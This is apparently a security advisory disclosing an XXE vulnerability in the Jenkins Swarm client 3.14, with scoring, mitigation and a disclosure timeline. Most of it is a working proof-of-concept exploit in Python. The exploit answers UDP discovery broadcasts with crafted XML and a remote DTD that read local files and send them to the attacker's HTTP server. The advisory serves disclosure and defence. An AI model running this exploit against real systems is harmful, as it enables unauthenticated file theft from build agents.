### Summary
The Jenkins Self-Organizing Swarm Modules Plugin, version 3.14, contains a trivial XXE (XML External Entities) vulnerability inside of the `getCandidateFromDatagramResponses()` method. As a result of this issue, it is possible for an attacker on the same network as a Swarm client to read arbitrary files from the system by responding to the UDP discovery requests with a specially crafted response.
### Tested Versions
Swarm-Client - 3.14
### Product URLs
<https://github.com/jenkinsci/swarm-plugin> [https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin][https://wiki.jenkins.io/display/JENKINS/Swarm+Plugin]
### CVSSv3 Score
6.1 - CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L
### CWE
CWE-611 - Improper Restriction of XML External Entity Reference ('XXE')
### Details
This vulnerability could allow an unprivileged user connected to the network on which a set of Swarm agents are deployed to access data on the agent instances without additional authentication. Due to the nature of the UDP broadcast discovery mechanism, the ability of a user to run the proof-of-concept code in a network that uses this mechanism for Jenkins Master discovery yields unauthenticated local file read(s) on all agents seeking masters. This was tested in a Docker-based environment, where all agents running the Swarm Agent were able to be exploited simultaneously.
A CVSS v3 score of 6.1 has been calculated for this vulnerability. However, this is likely heavily dependent on the given deployment and could be significantly lower depending on a number of implementation factors. Furthermore, due to the nature of the Java XML parser, files that contain certain characters cannot be reflected in FTP or HTTP URIs to exfiltrate data.
### Exploit Proof of Concept
Dockerfile
```
FROM ubuntu:latest
# Update repository metadata and install a JVM.
RUN apt update && \
apt install -y openjdk-8-jre-headless tcpdump curl && \
apt install -y python3 python3-pip tmux && \
pip3 install pyftpdlib
# Grab the latest Swarm Client.
RUN curl -D - -o /var/tmp/swarm-client.jar \
https://repo.jenkins-ci.org/releases/org/jenkins-ci/plugins/swarm-client/3.14/swarm-client-3.14.jar
# Copy our exploit code to the container.
COPY exploit.py /root/exploit.py
# Give 'er.
ENTRYPOINT java -jar /var/tmp/swarm-client.jar
```
exploit.py
```
''' Jenkins Swarm-Plugin XXE PoC (via @Darkarnium). '''
import os
import sys
import socket
import uuid
import logging
import http.server
import socketserver
import multiprocessing
def find_ip():
''' Find the IP of the 'primary' network interface. '''
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect(('8.8.8.8', 80))
addr = sock.getsockname()[0]
sock.close()
return addr
class RequestHandler(http.server.BaseHTTPRequestHandler):
''' Provides a set of request handlers for our Fake jenkins server. '''
def __init__(self, request, client_address, server):
''' Bot on a logger. '''
self.logger = logging.getLogger(__name__)
super().__init__(request, client_address, server)
def version_string(self):
''' Override version string / Server header. '''
return 'TotallyJenkins'
def log_message(self, fmt, *args):
''' Where we're going, we don't need logs. '''
pass
def log_error(self, fmt, *args):
''' Where we're going, we don't need logs. '''
pass
def log_request(self, code='-', size='-'):
''' Where we're going, we don't need logs. '''
self.logger.debug(
'Received %s request for %s from %s',
self.command,
self.path,
self.client_address
)
def build_stage_two(self):
''' Builds a second stage XXE payload - for exfil. '''
payload = '''
<!ENTITY % local1 SYSTEM "file:///etc/debian_version">
<!ENTITY % remote1 "<!ENTITY exfil1 SYSTEM 'http://{0}:{1}/exfil?/etc/debian_version=%local1;'>">
<!ENTITY % local2 SYSTEM "file:///etc/hostname">
<!ENTITY % remote2 "<!ENTITY exfil2 SYSTEM 'http://{0}:{1}/exfil?/etc/hostname=%local2;'>">
'''.format(find_ip(), '8080')
return payload.encode()
def do_GET(self):
''' Implements routing for HTTP GET requests. '''
self.logger.debug('Processing GET on route "%s"', self.path)
# Provide an exfiltration endpoint.
if '/exfil' in self.path:
self.logger.warn('Exfiltrated %s -> "%s"', *self.path.split('?')[1].split('='))
self.send_response(200, 'OK')
self.send_header('X-Hudson', '1.395')
self.send_header('Content-Length', '2')
self.end_headers()
self.wfile.write(b'OK')
# Serve the payload DTD.
if self.path.endswith('.dtd'):
stage_two = self.build_stage_two()
self.send_response(200, 'OK')
self.send_header('Content-Type', 'application/x-java-jnlp-file')
self.send_header('Content-Length', len(stage_two))
self.end_headers()
self.wfile.write(stage_two)
# Ensure the X-Hudson check in Swarm plugin passes.
if self.path == '/':
self.send_response(200, 'OK')
self.send_header('X-Hudson', '1.395')
self.send_header('Content-Length', '2')
self.end_headers()
self.wfile.write(b'OK')
def do_PUT(self):
''' Mock HTTP PUT requests. '''
self.send_response(500)
def do_POST(self):
''' Mock HTTP POST requests. '''
self.logger.debug('Processing POST on route "%s"', self.path)
# Respond with an OK to keep the exchange going.
if self.path.startswith('/plugin/swarm/createSlave'):
self.send_response(200, 'OK')
self.send_header('Content-Length', '0')
self.end_headers()
def do_HEAD(self):
''' Mock HTTP HEAD requests. '''
self.send_response(500)
def do_PATCH(self):
''' Mock HTTP PATCH requests. '''
self.send_response(500)
def do_OPTIONS(self):
''' Mock HTTP HEAD requests. '''
self.send_response(500)
class HTTPServer(multiprocessing.Process):
''' Provides a Fake Jenkins server to signal the Swarm. '''
def __init__(self, port=8080):
''' Bolt on a logger. '''
super().__init__()
self.port = port
self.logger = logging.getLogger(__name__)
def run(self):
''' Do the thing. '''
self.logger.info('Starting HTTP listener on TCP %s', self.port)
# Kick off the server.
instance = http.server.HTTPServer(
('0.0.0.0', self.port),
RequestHandler
)
instance.serve_forever()
class Spwner(multiprocessing.Process):
''' Provides a Spawn broadcast listener and responder. '''
def __init__(self, port=33848):
''' Setup a socket and bolt on a logger. '''
super().__init__()
self.port = port
self.logger = logging.getLogger(__name__)
self.logger.info('Binding broadcast listener to UDP %s', port)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock.bind(('255.255.255.255', self.port))
self.swarm = str(uuid.uuid4())
def build_swarm_xml(self):
''' Builds a baked Swarm payload. '''
# This is dirty.
payload = '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE swarm [
<!ENTITY % stageTwo SYSTEM "http://{0}:{1}/stageTwo.dtd">
%stageTwo;
%remote1;
%remote2;
]>
<root>
<swarm>&exfil1;</swarm>
<version>&exfil2;</version>
<url>http://{0}:{1}/</url>
</root>
'''.format(find_ip(), '8080')
return payload.encode()
def respond(self, client):
''' Send a payload to the given client. '''
addr, port = client
self.logger.info('Sending payload to %s:%s', addr, port)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(self.build_swarm_xml(), (addr, port))
self.logger.info('Payload sent!')
def listen(self):
''' Listen for clients. '''
while True:
_, client = self.sock.recvfrom(1024)
self.logger.info('Received a Swarm broadcast from %s', client)
self.respond(client)
def run(self):
''' Do the thing. '''
self.listen()
def main():
''' Jenkins Swarm-Plugin RCE PoC. '''
# Configure the logger.
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(process)d - [%(levelname)s] %(message)s',
)
log = logging.getLogger(__name__)
# log.setLevel(logging.DEBUG)
# Spawn a fake Jenkins HTTP server.
log.info('Spawning fake Jenkins HTTP Server')
httpd = HTTPServer()
httpd.start()
# Spawn a broadcast listener.
log.info('Spawning a Swarm broadcast listener')
listener = Spwner()
listener.start()
if __name__ == '__main__':
main()
```
### Mitigation
Until such time that the vendor produces a patched version, the UDP broadcast functionality should be disabled. This can be performed by explicitly specifying a Jenkins master to connect to as part of the command-line arguments.
### Timeline
2018-12-05 - Vendor Disclosure
2019-04-30 - Vendor Patched
2019-05-06 - Public Release
暂无评论